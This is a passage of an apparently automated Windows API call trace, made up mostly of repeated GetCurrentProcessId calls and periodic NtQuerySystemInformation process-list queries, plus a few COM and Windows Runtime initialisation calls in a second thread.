() returned 0xbf4 [0301.443] GetCurrentProcessId () returned 0xbf4 [0301.443] GetCurrentProcessId () returned 0xbf4 [0301.443] GetCurrentProcessId () returned 0xbf4 [0301.443] GetCurrentProcessId () returned 0xbf4 [0301.443] GetCurrentProcessId () returned 0xbf4 [0301.444] GetCurrentProcessId () returned 0xbf4 [0301.444] GetCurrentProcessId () returned 0xbf4 [0301.444] GetCurrentProcessId () returned 0xbf4 [0301.444] GetCurrentProcessId () returned 0xbf4 [0301.444] GetCurrentProcessId () returned 0xbf4 [0301.444] GetCurrentProcessId () returned 0xbf4 [0301.444] GetCurrentProcessId () returned 0xbf4 [0301.444] GetCurrentProcessId () returned 0xbf4 [0301.444] GetCurrentProcessId () returned 0xbf4 [0301.444] GetCurrentProcessId () returned 0xbf4 [0301.444] GetCurrentProcessId () returned 0xbf4 [0301.444] GetCurrentProcessId () returned 0xbf4 [0301.444] GetCurrentProcessId () returned 0xbf4 [0301.444] GetCurrentProcessId () returned 0xbf4 [0301.444] GetCurrentProcessId () returned 0xbf4 [0301.444] GetCurrentProcessId () returned 0xbf4 [0301.444] GetCurrentProcessId () returned 0xbf4 [0301.444] GetCurrentProcessId () returned 0xbf4 [0301.444] GetCurrentProcessId () returned 0xbf4 [0301.444] GetCurrentProcessId () returned 0xbf4 [0301.444] GetCurrentProcessId () returned 0xbf4 [0301.444] GetCurrentProcessId () returned 0xbf4 [0301.444] GetCurrentProcessId () returned 0xbf4 [0301.444] GetCurrentProcessId () returned 0xbf4 [0301.444] GetCurrentProcessId () returned 0xbf4 [0301.444] GetCurrentProcessId () returned 0xbf4 [0301.444] GetCurrentProcessId () returned 0xbf4 [0301.444] GetCurrentProcessId () returned 0xbf4 [0301.444] GetCurrentProcessId () returned 0xbf4 [0301.444] GetCurrentProcessId () returned 0xbf4 [0301.972] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c8e0) returned 0x0 [0301.975] GetCurrentProcessId () returned 0xbf4 [0301.975] GetCurrentProcessId () returned 0xbf4 [0301.975] GetCurrentProcessId () returned 0xbf4 [0301.975] GetCurrentProcessId () returned 0xbf4 [0301.975] GetCurrentProcessId () returned 0xbf4 [0301.975] GetCurrentProcessId () returned 0xbf4 [0301.975] GetCurrentProcessId () returned 0xbf4 [0301.976] GetCurrentProcessId () returned 0xbf4 [0301.976] GetCurrentProcessId () returned 0xbf4 [0301.976] GetCurrentProcessId () returned 0xbf4 [0301.976] GetCurrentProcessId () returned 0xbf4 [0301.976] GetCurrentProcessId () returned 0xbf4 [0301.976] GetCurrentProcessId () returned 0xbf4 [0301.976] GetCurrentProcessId () returned 0xbf4 [0301.976] GetCurrentProcessId () returned 0xbf4 [0301.976] GetCurrentProcessId () returned 0xbf4 [0301.976] GetCurrentProcessId () returned 0xbf4 [0301.976] GetCurrentProcessId () returned 0xbf4 [0301.976] GetCurrentProcessId () returned 0xbf4 [0301.976] GetCurrentProcessId () returned 0xbf4 [0301.976] GetCurrentProcessId () returned 0xbf4 [0301.976] GetCurrentProcessId () returned 0xbf4 [0301.976] GetCurrentProcessId () returned 0xbf4 [0301.976] GetCurrentProcessId () returned 0xbf4 [0301.976] GetCurrentProcessId () returned 0xbf4 [0301.976] GetCurrentProcessId () returned 0xbf4 [0301.976] GetCurrentProcessId () returned 0xbf4 [0301.976] GetCurrentProcessId () returned 0xbf4 [0301.976] GetCurrentProcessId () returned 0xbf4 [0301.976] GetCurrentProcessId () returned 0xbf4 [0301.976] GetCurrentProcessId () returned 0xbf4 [0301.976] GetCurrentProcessId () returned 0xbf4 [0301.976] GetCurrentProcessId () returned 0xbf4 [0301.976] GetCurrentProcessId () returned 0xbf4 [0301.976] GetCurrentProcessId () returned 0xbf4 [0301.976] GetCurrentProcessId () returned 0xbf4 [0301.976] GetCurrentProcessId () returned 0xbf4 [0301.976] GetCurrentProcessId () returned 0xbf4 [0301.976] GetCurrentProcessId () returned 0xbf4 [0301.976] GetCurrentProcessId () returned 0xbf4 [0301.976] GetCurrentProcessId () returned 0xbf4 [0301.976] GetCurrentProcessId () returned 0xbf4 [0301.976] GetCurrentProcessId () returned 0xbf4 [0301.977] GetCurrentProcessId () returned 0xbf4 [0301.977] GetCurrentProcessId () returned 0xbf4 [0301.977] GetCurrentProcessId () returned 0xbf4 [0301.977] GetCurrentProcessId () returned 0xbf4 [0301.977] GetCurrentProcessId () returned 0xbf4 [0301.977] GetCurrentProcessId () returned 0xbf4 [0301.977] GetCurrentProcessId () returned 0xbf4 [0301.977] GetCurrentProcessId () returned 0xbf4 [0301.977] GetCurrentProcessId () returned 0xbf4 [0301.977] GetCurrentProcessId () returned 0xbf4 [0301.977] GetCurrentProcessId () returned 0xbf4 [0301.977] GetCurrentProcessId () returned 0xbf4 [0301.977] GetCurrentProcessId () returned 0xbf4 [0301.977] GetCurrentProcessId () returned 0xbf4 [0301.977] GetCurrentProcessId () returned 0xbf4 [0301.977] GetCurrentProcessId () returned 0xbf4 [0301.977] GetCurrentProcessId () returned 0xbf4 [0301.977] GetCurrentProcessId () returned 0xbf4 [0301.977] GetCurrentProcessId () returned 0xbf4 [0301.977] GetCurrentProcessId () returned 0xbf4 [0301.977] GetCurrentProcessId () returned 0xbf4 [0301.977] GetCurrentProcessId () returned 0xbf4 [0301.977] GetCurrentProcessId () returned 0xbf4 [0301.977] GetCurrentProcessId () returned 0xbf4 [0301.977] GetCurrentProcessId () returned 0xbf4 [0301.977] GetCurrentProcessId () returned 0xbf4 [0301.977] GetCurrentProcessId () returned 0xbf4 [0301.977] GetCurrentProcessId () returned 0xbf4 [0301.977] GetCurrentProcessId () returned 0xbf4 [0301.977] GetCurrentProcessId () returned 0xbf4 [0301.977] GetCurrentProcessId () returned 0xbf4 [0301.977] GetCurrentProcessId () returned 0xbf4 [0301.977] GetCurrentProcessId () returned 0xbf4 [0301.977] GetCurrentProcessId () returned 0xbf4 [0301.977] GetCurrentProcessId () returned 0xbf4 [0301.977] GetCurrentProcessId () returned 0xbf4 [0301.978] GetCurrentProcessId () returned 0xbf4 [0301.978] GetCurrentProcessId () returned 0xbf4 [0301.978] GetCurrentProcessId () returned 0xbf4 [0301.978] GetCurrentProcessId () returned 0xbf4 [0301.978] GetCurrentProcessId () returned 0xbf4 [0301.978] GetCurrentProcessId () returned 0xbf4 [0301.978] GetCurrentProcessId () returned 0xbf4 [0301.978] GetCurrentProcessId () returned 0xbf4 [0301.978] GetCurrentProcessId () returned 0xbf4 [0301.978] GetCurrentProcessId () returned 0xbf4 [0301.978] GetCurrentProcessId () returned 0xbf4 [0301.978] GetCurrentProcessId () returned 0xbf4 [0301.978] GetCurrentProcessId () returned 0xbf4 [0301.978] GetCurrentProcessId () returned 0xbf4 [0301.978] GetCurrentProcessId () returned 0xbf4 [0301.978] GetCurrentProcessId () returned 0xbf4 [0301.978] GetCurrentProcessId () returned 0xbf4 [0301.978] GetCurrentProcessId () returned 0xbf4 [0301.978] GetCurrentProcessId () returned 0xbf4 [0301.978] GetCurrentProcessId () returned 0xbf4 [0301.978] GetCurrentProcessId () returned 0xbf4 [0301.978] GetCurrentProcessId () returned 0xbf4 [0301.978] GetCurrentProcessId () returned 0xbf4 [0301.978] GetCurrentProcessId () returned 0xbf4 [0301.978] GetCurrentProcessId () returned 0xbf4 [0301.978] GetCurrentProcessId () returned 0xbf4 [0301.978] GetCurrentProcessId () returned 0xbf4 [0302.570] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c8e0) returned 0x0 [0302.576] GetCurrentProcessId () returned 0xbf4 [0302.576] GetCurrentProcessId () returned 0xbf4 [0302.576] GetCurrentProcessId () returned 0xbf4 [0302.576] GetCurrentProcessId () returned 0xbf4 [0302.576] GetCurrentProcessId () returned 0xbf4 [0302.576] GetCurrentProcessId () returned 0xbf4 [0302.576] GetCurrentProcessId () returned 0xbf4 [0302.576] GetCurrentProcessId () returned 0xbf4 [0302.576] GetCurrentProcessId () returned 0xbf4 [0302.576] GetCurrentProcessId () returned 0xbf4 [0302.576] GetCurrentProcessId () returned 0xbf4 [0302.576] GetCurrentProcessId () returned 0xbf4 [0302.576] GetCurrentProcessId () returned 0xbf4 [0302.576] GetCurrentProcessId () returned 0xbf4 [0302.576] GetCurrentProcessId () returned 0xbf4 [0302.576] GetCurrentProcessId () returned 0xbf4 [0302.576] GetCurrentProcessId () returned 0xbf4 [0302.576] GetCurrentProcessId () returned 0xbf4 [0302.576] GetCurrentProcessId () returned 0xbf4 [0302.577] GetCurrentProcessId () returned 0xbf4 [0302.577] GetCurrentProcessId () returned 0xbf4 [0302.577] GetCurrentProcessId () returned 0xbf4 [0302.577] GetCurrentProcessId () returned 0xbf4 [0302.577] GetCurrentProcessId () returned 0xbf4 [0302.577] GetCurrentProcessId () returned 0xbf4 [0302.577] GetCurrentProcessId () returned 0xbf4 [0302.577] GetCurrentProcessId () returned 0xbf4 [0302.577] GetCurrentProcessId () returned 0xbf4 [0302.577] GetCurrentProcessId () returned 0xbf4 [0302.577] GetCurrentProcessId () returned 0xbf4 [0302.577] GetCurrentProcessId () returned 0xbf4 [0302.577] GetCurrentProcessId () returned 0xbf4 [0302.577] GetCurrentProcessId () returned 0xbf4 [0302.577] GetCurrentProcessId () returned 0xbf4 [0302.577] GetCurrentProcessId () returned 0xbf4 [0302.577] GetCurrentProcessId () returned 0xbf4 [0302.577] GetCurrentProcessId () returned 0xbf4 [0302.577] GetCurrentProcessId () returned 0xbf4 [0302.577] GetCurrentProcessId () returned 0xbf4 [0302.577] GetCurrentProcessId () returned 0xbf4 [0302.577] GetCurrentProcessId () returned 0xbf4 [0302.577] GetCurrentProcessId () returned 0xbf4 [0302.577] GetCurrentProcessId () returned 0xbf4 [0302.577] GetCurrentProcessId () returned 0xbf4 [0302.577] GetCurrentProcessId () returned 0xbf4 [0302.577] GetCurrentProcessId () returned 0xbf4 [0302.577] GetCurrentProcessId () returned 0xbf4 [0302.577] GetCurrentProcessId () returned 0xbf4 [0302.577] GetCurrentProcessId () returned 0xbf4 [0302.577] GetCurrentProcessId () returned 0xbf4 [0302.577] GetCurrentProcessId () returned 0xbf4 [0302.578] GetCurrentProcessId () returned 0xbf4 [0302.578] GetCurrentProcessId () returned 0xbf4 [0302.578] GetCurrentProcessId () returned 0xbf4 [0302.578] GetCurrentProcessId () returned 0xbf4 [0302.578] GetCurrentProcessId () returned 0xbf4 [0302.578] GetCurrentProcessId () returned 0xbf4 [0302.578] GetCurrentProcessId () returned 0xbf4 [0302.578] GetCurrentProcessId () returned 0xbf4 [0302.578] GetCurrentProcessId () returned 0xbf4 [0302.578] GetCurrentProcessId () returned 0xbf4 [0302.578] GetCurrentProcessId () returned 0xbf4 [0302.578] GetCurrentProcessId () returned 0xbf4 [0302.578] GetCurrentProcessId () returned 0xbf4 [0302.578] GetCurrentProcessId () returned 0xbf4 [0302.578] GetCurrentProcessId () returned 0xbf4 [0302.578] GetCurrentProcessId () returned 0xbf4 [0302.578] GetCurrentProcessId () returned 0xbf4 [0302.578] GetCurrentProcessId () returned 0xbf4 [0302.578] GetCurrentProcessId () returned 0xbf4 [0302.578] GetCurrentProcessId () returned 0xbf4 [0302.578] GetCurrentProcessId () returned 0xbf4 [0302.578] GetCurrentProcessId () returned 0xbf4 [0302.578] GetCurrentProcessId () returned 0xbf4 [0302.578] GetCurrentProcessId () returned 0xbf4 [0302.578] GetCurrentProcessId () returned 0xbf4 [0302.578] GetCurrentProcessId () returned 0xbf4 [0302.578] GetCurrentProcessId () returned 0xbf4 [0302.578] GetCurrentProcessId () returned 0xbf4 [0302.578] GetCurrentProcessId () returned 0xbf4 [0302.578] GetCurrentProcessId () returned 0xbf4 [0302.578] GetCurrentProcessId () returned 0xbf4 [0302.578] GetCurrentProcessId () returned 0xbf4 [0302.578] GetCurrentProcessId () returned 0xbf4 [0302.578] GetCurrentProcessId () returned 0xbf4 [0302.579] GetCurrentProcessId () returned 0xbf4 [0302.579] GetCurrentProcessId () returned 0xbf4 [0302.579] GetCurrentProcessId () returned 0xbf4 [0302.579] GetCurrentProcessId () returned 0xbf4 [0302.579] GetCurrentProcessId () returned 0xbf4 [0302.579] GetCurrentProcessId () returned 0xbf4 [0302.579] GetCurrentProcessId () returned 0xbf4 [0302.579] GetCurrentProcessId () returned 0xbf4 [0302.579] GetCurrentProcessId () returned 0xbf4 [0302.579] GetCurrentProcessId () returned 0xbf4 [0302.579] GetCurrentProcessId () returned 0xbf4 [0302.579] GetCurrentProcessId () returned 0xbf4 [0302.579] GetCurrentProcessId () returned 0xbf4 [0302.579] GetCurrentProcessId () returned 0xbf4 [0302.579] GetCurrentProcessId () returned 0xbf4 [0302.579] GetCurrentProcessId () returned 0xbf4 [0302.579] GetCurrentProcessId () returned 0xbf4 [0302.579] GetCurrentProcessId () returned 0xbf4 [0302.579] GetCurrentProcessId () returned 0xbf4 [0302.579] GetCurrentProcessId () returned 0xbf4 [0302.579] GetCurrentProcessId () returned 0xbf4 [0303.087] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c890) returned 0x0 [0303.090] GetCurrentProcessId () returned 0xbf4 [0303.090] GetCurrentProcessId () returned 0xbf4 [0303.090] GetCurrentProcessId () returned 0xbf4 [0303.090] GetCurrentProcessId () returned 0xbf4 [0303.090] GetCurrentProcessId () returned 0xbf4 [0303.090] GetCurrentProcessId () returned 0xbf4 [0303.090] GetCurrentProcessId () returned 0xbf4 [0303.090] GetCurrentProcessId () returned 0xbf4 [0303.090] GetCurrentProcessId () returned 0xbf4 [0303.090] GetCurrentProcessId () returned 0xbf4 [0303.090] GetCurrentProcessId () returned 0xbf4 [0303.091] GetCurrentProcessId () returned 0xbf4 [0303.091] GetCurrentProcessId () returned 0xbf4 [0303.091] GetCurrentProcessId () returned 0xbf4 [0303.091] GetCurrentProcessId () returned 0xbf4 [0303.091] GetCurrentProcessId () returned 0xbf4 [0303.091] GetCurrentProcessId () returned 0xbf4 [0303.091] GetCurrentProcessId () returned 0xbf4 [0303.091] GetCurrentProcessId () returned 0xbf4 [0303.091] GetCurrentProcessId () returned 0xbf4 [0303.091] GetCurrentProcessId () returned 0xbf4 [0303.091] GetCurrentProcessId () returned 0xbf4 [0303.091] GetCurrentProcessId () returned 0xbf4 [0303.091] GetCurrentProcessId () returned 0xbf4 [0303.091] GetCurrentProcessId () returned 0xbf4 [0303.091] GetCurrentProcessId () returned 0xbf4 [0303.091] GetCurrentProcessId () returned 0xbf4 [0303.091] GetCurrentProcessId () returned 0xbf4 [0303.091] GetCurrentProcessId () returned 0xbf4 [0303.091] GetCurrentProcessId () returned 0xbf4 [0303.091] GetCurrentProcessId () returned 0xbf4 [0303.091] GetCurrentProcessId () returned 0xbf4 [0303.091] GetCurrentProcessId () returned 0xbf4 [0303.091] GetCurrentProcessId () returned 0xbf4 [0303.091] GetCurrentProcessId () returned 0xbf4 [0303.091] GetCurrentProcessId () returned 0xbf4 [0303.091] GetCurrentProcessId () returned 0xbf4 [0303.091] GetCurrentProcessId () returned 0xbf4 [0303.091] GetCurrentProcessId () returned 0xbf4 [0303.091] GetCurrentProcessId () returned 0xbf4 [0303.091] GetCurrentProcessId () returned 0xbf4 [0303.091] GetCurrentProcessId () returned 0xbf4 [0303.091] GetCurrentProcessId () returned 0xbf4 [0303.091] GetCurrentProcessId () returned 0xbf4 [0303.091] GetCurrentProcessId () returned 0xbf4 [0303.091] GetCurrentProcessId () returned 0xbf4 [0303.091] GetCurrentProcessId () returned 0xbf4 [0303.092] GetCurrentProcessId () returned 0xbf4 [0303.092] GetCurrentProcessId () returned 0xbf4 [0303.092] GetCurrentProcessId () returned 0xbf4 [0303.092] GetCurrentProcessId () returned 0xbf4 [0303.092] GetCurrentProcessId () returned 0xbf4 [0303.092] GetCurrentProcessId () returned 0xbf4 [0303.092] GetCurrentProcessId () returned 0xbf4 [0303.092] GetCurrentProcessId () returned 0xbf4 [0303.092] GetCurrentProcessId () returned 0xbf4 [0303.092] GetCurrentProcessId () returned 0xbf4 [0303.092] GetCurrentProcessId () returned 0xbf4 [0303.092] GetCurrentProcessId () returned 0xbf4 [0303.092] GetCurrentProcessId () returned 0xbf4 [0303.092] GetCurrentProcessId () returned 0xbf4 [0303.092] GetCurrentProcessId () returned 0xbf4 [0303.092] GetCurrentProcessId () returned 0xbf4 [0303.092] GetCurrentProcessId () returned 0xbf4 [0303.092] GetCurrentProcessId () returned 0xbf4 [0303.092] GetCurrentProcessId () returned 0xbf4 [0303.092] GetCurrentProcessId () returned 0xbf4 [0303.092] GetCurrentProcessId () returned 0xbf4 [0303.092] GetCurrentProcessId () returned 0xbf4 [0303.092] GetCurrentProcessId () returned 0xbf4 [0303.092] GetCurrentProcessId () returned 0xbf4 [0303.092] GetCurrentProcessId () returned 0xbf4 [0303.092] GetCurrentProcessId () returned 0xbf4 [0303.092] GetCurrentProcessId () returned 0xbf4 [0303.092] GetCurrentProcessId () returned 0xbf4 [0303.092] GetCurrentProcessId () returned 0xbf4 [0303.092] GetCurrentProcessId () returned 0xbf4 [0303.092] GetCurrentProcessId () returned 0xbf4 [0303.092] GetCurrentProcessId () returned 0xbf4 [0303.092] GetCurrentProcessId () returned 0xbf4 [0303.092] GetCurrentProcessId () returned 0xbf4 [0303.092] GetCurrentProcessId () returned 0xbf4 [0303.092] GetCurrentProcessId () returned 0xbf4 [0303.093] GetCurrentProcessId () returned 0xbf4 [0303.093] GetCurrentProcessId () returned 0xbf4 [0303.093] GetCurrentProcessId () returned 0xbf4 [0303.093] GetCurrentProcessId () returned 0xbf4 [0303.093] GetCurrentProcessId () returned 0xbf4 [0303.093] GetCurrentProcessId () returned 0xbf4 [0303.093] GetCurrentProcessId () returned 0xbf4 [0303.093] GetCurrentProcessId () returned 0xbf4 [0303.093] GetCurrentProcessId () returned 0xbf4 [0303.093] GetCurrentProcessId () returned 0xbf4 [0303.093] GetCurrentProcessId () returned 0xbf4 [0303.093] GetCurrentProcessId () returned 0xbf4 [0303.093] GetCurrentProcessId () returned 0xbf4 [0303.093] GetCurrentProcessId () returned 0xbf4 [0303.093] GetCurrentProcessId () returned 0xbf4 [0303.093] GetCurrentProcessId () returned 0xbf4 [0303.093] GetCurrentProcessId () returned 0xbf4 [0303.093] GetCurrentProcessId () returned 0xbf4 [0303.093] GetCurrentProcessId () returned 0xbf4 [0303.093] GetCurrentProcessId () returned 0xbf4 [0303.093] GetCurrentProcessId () returned 0xbf4 [0303.093] GetCurrentProcessId () returned 0xbf4 [0303.093] GetCurrentProcessId () returned 0xbf4 Thread: id = 196 os_tid = 0xc80 [0160.694] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0160.694] RoInitialize () returned 0x1 [0160.694] RoUninitialize () returned 0x0 [0160.821] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1c0b0) returned 0x0 [0161.351] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1c060) returned 0x0 [0161.867] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1c060) returned 0x0 [0162.381] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1c0b0) returned 0x0 [0162.899] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1c060) returned 0x0 [0163.428] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1c010) returned 0x0 [0163.436] GetCurrentProcessId () returned 0xbf4 [0163.436] GetCurrentProcessId () returned 0xbf4 [0163.436] GetCurrentProcessId () returned 0xbf4 [0163.436] GetCurrentProcessId () returned 0xbf4 [0163.436] GetCurrentProcessId () returned 0xbf4 [0163.436] GetCurrentProcessId () returned 0xbf4 [0163.436] GetCurrentProcessId () returned 0xbf4 [0163.437] GetCurrentProcessId () returned 0xbf4 [0163.437] GetCurrentProcessId () returned 0xbf4 [0163.437] GetCurrentProcessId () returned 0xbf4 [0163.437] GetCurrentProcessId () returned 0xbf4 [0163.437] GetCurrentProcessId () returned 0xbf4 [0163.437] GetCurrentProcessId () returned 0xbf4 [0163.437] GetCurrentProcessId () returned 0xbf4 [0163.437] GetCurrentProcessId () returned 0xbf4 [0163.437] GetCurrentProcessId () returned 0xbf4 [0163.437] GetCurrentProcessId () returned 0xbf4 [0163.437] GetCurrentProcessId () returned 0xbf4 [0163.437] GetCurrentProcessId () returned 0xbf4 [0163.437] GetCurrentProcessId () returned 0xbf4 [0163.437] GetCurrentProcessId () returned 0xbf4 [0163.437] GetCurrentProcessId () returned 0xbf4 [0163.437] GetCurrentProcessId () returned 0xbf4 [0163.438] GetCurrentProcessId () returned 0xbf4 [0163.438] GetCurrentProcessId () returned 0xbf4 [0163.438] GetCurrentProcessId () returned 0xbf4 [0163.438] GetCurrentProcessId () returned 0xbf4 [0163.438] GetCurrentProcessId () returned 0xbf4 [0163.438] GetCurrentProcessId () returned 0xbf4 [0163.438] GetCurrentProcessId () returned 0xbf4 [0163.438] GetCurrentProcessId () returned 0xbf4 [0163.438] GetCurrentProcessId () returned 0xbf4 [0163.438] GetCurrentProcessId () returned 0xbf4 [0163.438] GetCurrentProcessId () returned 0xbf4 [0163.438] GetCurrentProcessId () returned 0xbf4 [0163.438] GetCurrentProcessId () returned 0xbf4 [0163.438] GetCurrentProcessId () returned 0xbf4 [0163.438] GetCurrentProcessId () returned 0xbf4 [0163.438] GetCurrentProcessId () returned 0xbf4 [0163.439] GetCurrentProcessId () returned 0xbf4 [0163.439] GetCurrentProcessId () returned 0xbf4 [0163.439] GetCurrentProcessId () returned 0xbf4 [0163.439] GetCurrentProcessId () returned 0xbf4 [0163.439] GetCurrentProcessId () returned 0xbf4 [0163.439] GetCurrentProcessId () returned 0xbf4 [0163.439] GetCurrentProcessId () returned 0xbf4 [0163.439] GetCurrentProcessId () returned 0xbf4 [0163.439] GetCurrentProcessId () returned 0xbf4 [0163.439] GetCurrentProcessId () returned 0xbf4 [0163.439] GetCurrentProcessId () returned 0xbf4 [0163.439] GetCurrentProcessId () returned 0xbf4 [0163.439] GetCurrentProcessId () returned 0xbf4 [0163.439] GetCurrentProcessId () returned 0xbf4 [0163.439] GetCurrentProcessId () returned 0xbf4 [0163.439] GetCurrentProcessId () returned 0xbf4 [0163.439] GetCurrentProcessId () returned 0xbf4 [0163.439] GetCurrentProcessId () returned 0xbf4 [0163.439] GetCurrentProcessId () returned 0xbf4 [0163.439] GetCurrentProcessId () returned 0xbf4 [0163.439] GetCurrentProcessId () returned 0xbf4 [0163.440] GetCurrentProcessId () returned 0xbf4 [0163.440] GetCurrentProcessId () returned 0xbf4 [0163.440] GetCurrentProcessId () returned 0xbf4 [0163.440] GetCurrentProcessId () returned 0xbf4 [0163.440] GetCurrentProcessId () returned 0xbf4 [0163.440] GetCurrentProcessId () returned 0xbf4 [0163.440] GetCurrentProcessId () returned 0xbf4 [0163.440] GetCurrentProcessId () returned 0xbf4 [0163.440] GetCurrentProcessId () returned 0xbf4 [0163.440] GetCurrentProcessId () returned 0xbf4 [0163.440] GetCurrentProcessId () returned 0xbf4 [0163.440] GetCurrentProcessId () returned 0xbf4 [0163.440] GetCurrentProcessId () returned 0xbf4 [0163.440] GetCurrentProcessId () returned 0xbf4 [0163.440] GetCurrentProcessId () returned 0xbf4 [0163.440] GetCurrentProcessId () returned 0xbf4 [0163.440] GetCurrentProcessId () returned 0xbf4 [0163.441] GetCurrentProcessId () returned 0xbf4 [0163.441] GetCurrentProcessId () returned 0xbf4 [0163.441] GetCurrentProcessId () returned 0xbf4 [0163.441] GetCurrentProcessId () returned 0xbf4 [0163.441] GetCurrentProcessId () returned 0xbf4 [0163.441] GetCurrentProcessId () returned 0xbf4 [0163.441] GetCurrentProcessId () returned 0xbf4 [0163.441] GetCurrentProcessId () returned 0xbf4 [0163.441] GetCurrentProcessId () returned 0xbf4 [0163.441] GetCurrentProcessId () returned 0xbf4 [0163.441] GetCurrentProcessId () returned 0xbf4 [0163.441] GetCurrentProcessId () returned 0xbf4 [0163.441] GetCurrentProcessId () returned 0xbf4 [0163.441] GetCurrentProcessId () returned 0xbf4 [0163.441] GetCurrentProcessId () returned 0xbf4 [0163.441] GetCurrentProcessId () returned 0xbf4 [0163.441] GetCurrentProcessId () returned 0xbf4 [0163.441] GetCurrentProcessId () returned 0xbf4 [0163.442] GetCurrentProcessId () returned 0xbf4 [0163.442] GetCurrentProcessId () returned 0xbf4 [0163.442] GetCurrentProcessId () returned 0xbf4 [0163.442] GetCurrentProcessId () returned 0xbf4 [0163.442] GetCurrentProcessId () returned 0xbf4 [0163.442] GetCurrentProcessId () returned 0xbf4 [0163.442] GetCurrentProcessId () returned 0xbf4 [0163.442] GetCurrentProcessId () returned 0xbf4 [0163.443] GetCurrentProcessId () returned 0xbf4 [0163.443] GetCurrentProcessId () returned 0xbf4 [0163.961] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1c0b0) returned 0x0 [0163.984] GetCurrentProcessId () returned 0xbf4 [0163.984] GetCurrentProcessId () returned 0xbf4 [0163.984] GetCurrentProcessId () returned 0xbf4 [0163.984] GetCurrentProcessId () returned 0xbf4 [0163.984] GetCurrentProcessId () returned 0xbf4 [0163.984] GetCurrentProcessId () returned 0xbf4 [0163.984] GetCurrentProcessId () returned 0xbf4 [0163.984] GetCurrentProcessId () returned 0xbf4 [0163.984] GetCurrentProcessId () returned 0xbf4 [0163.984] GetCurrentProcessId () returned 0xbf4 [0163.984] GetCurrentProcessId () returned 0xbf4 [0163.984] GetCurrentProcessId () returned 0xbf4 [0163.984] GetCurrentProcessId () returned 0xbf4 [0163.984] GetCurrentProcessId () returned 0xbf4 [0163.984] GetCurrentProcessId () returned 0xbf4 [0163.984] GetCurrentProcessId () returned 0xbf4 [0163.984] GetCurrentProcessId () returned 0xbf4 [0163.984] GetCurrentProcessId () returned 0xbf4 [0163.984] GetCurrentProcessId () returned 0xbf4 [0163.984] GetCurrentProcessId () returned 0xbf4 [0163.984] GetCurrentProcessId () returned 0xbf4 [0163.984] GetCurrentProcessId () returned 0xbf4 [0163.984] GetCurrentProcessId () returned 0xbf4 [0163.985] GetCurrentProcessId () returned 0xbf4 [0163.985] GetCurrentProcessId () returned 0xbf4 [0163.985] GetCurrentProcessId () returned 0xbf4 [0163.985] GetCurrentProcessId () returned 0xbf4 [0163.985] GetCurrentProcessId () returned 0xbf4 [0163.985] GetCurrentProcessId () returned 0xbf4 [0163.985] GetCurrentProcessId () returned 0xbf4 [0163.985] GetCurrentProcessId () returned 0xbf4 [0163.985] GetCurrentProcessId () returned 0xbf4 [0163.985] GetCurrentProcessId () returned 0xbf4 [0163.985] GetCurrentProcessId () returned 0xbf4 [0163.985] GetCurrentProcessId () returned 0xbf4 [0163.985] GetCurrentProcessId () returned 0xbf4 [0163.985] GetCurrentProcessId () returned 0xbf4 [0163.985] GetCurrentProcessId () returned 0xbf4 [0163.985] GetCurrentProcessId () returned 0xbf4 [0163.985] GetCurrentProcessId () returned 0xbf4 [0163.985] GetCurrentProcessId () returned 0xbf4 [0163.985] GetCurrentProcessId () returned 0xbf4 [0163.985] GetCurrentProcessId () returned 0xbf4 [0163.985] GetCurrentProcessId () returned 0xbf4 [0163.985] GetCurrentProcessId () returned 0xbf4 [0163.985] GetCurrentProcessId () returned 0xbf4 [0163.985] GetCurrentProcessId () returned 0xbf4 [0163.985] GetCurrentProcessId () returned 0xbf4 [0163.985] GetCurrentProcessId () returned 0xbf4 [0163.985] GetCurrentProcessId () returned 0xbf4 [0163.985] GetCurrentProcessId () returned 0xbf4 [0163.985] GetCurrentProcessId () returned 0xbf4 [0163.985] GetCurrentProcessId () returned 0xbf4 [0163.985] GetCurrentProcessId () returned 0xbf4 [0163.985] GetCurrentProcessId () returned 0xbf4 [0163.985] GetCurrentProcessId () returned 0xbf4 [0163.985] GetCurrentProcessId () returned 0xbf4 [0163.985] GetCurrentProcessId () returned 0xbf4 [0163.985] GetCurrentProcessId () returned 0xbf4 [0163.986] GetCurrentProcessId () returned 0xbf4 [0163.986] GetCurrentProcessId () returned 0xbf4 [0163.986] GetCurrentProcessId () returned 0xbf4 [0163.986] GetCurrentProcessId () returned 0xbf4 [0163.986] GetCurrentProcessId () returned 0xbf4 [0163.986] GetCurrentProcessId () returned 0xbf4 [0163.986] GetCurrentProcessId () returned 0xbf4 [0163.986] GetCurrentProcessId () returned 0xbf4 [0163.986] GetCurrentProcessId () returned 0xbf4 [0163.986] GetCurrentProcessId () returned 0xbf4 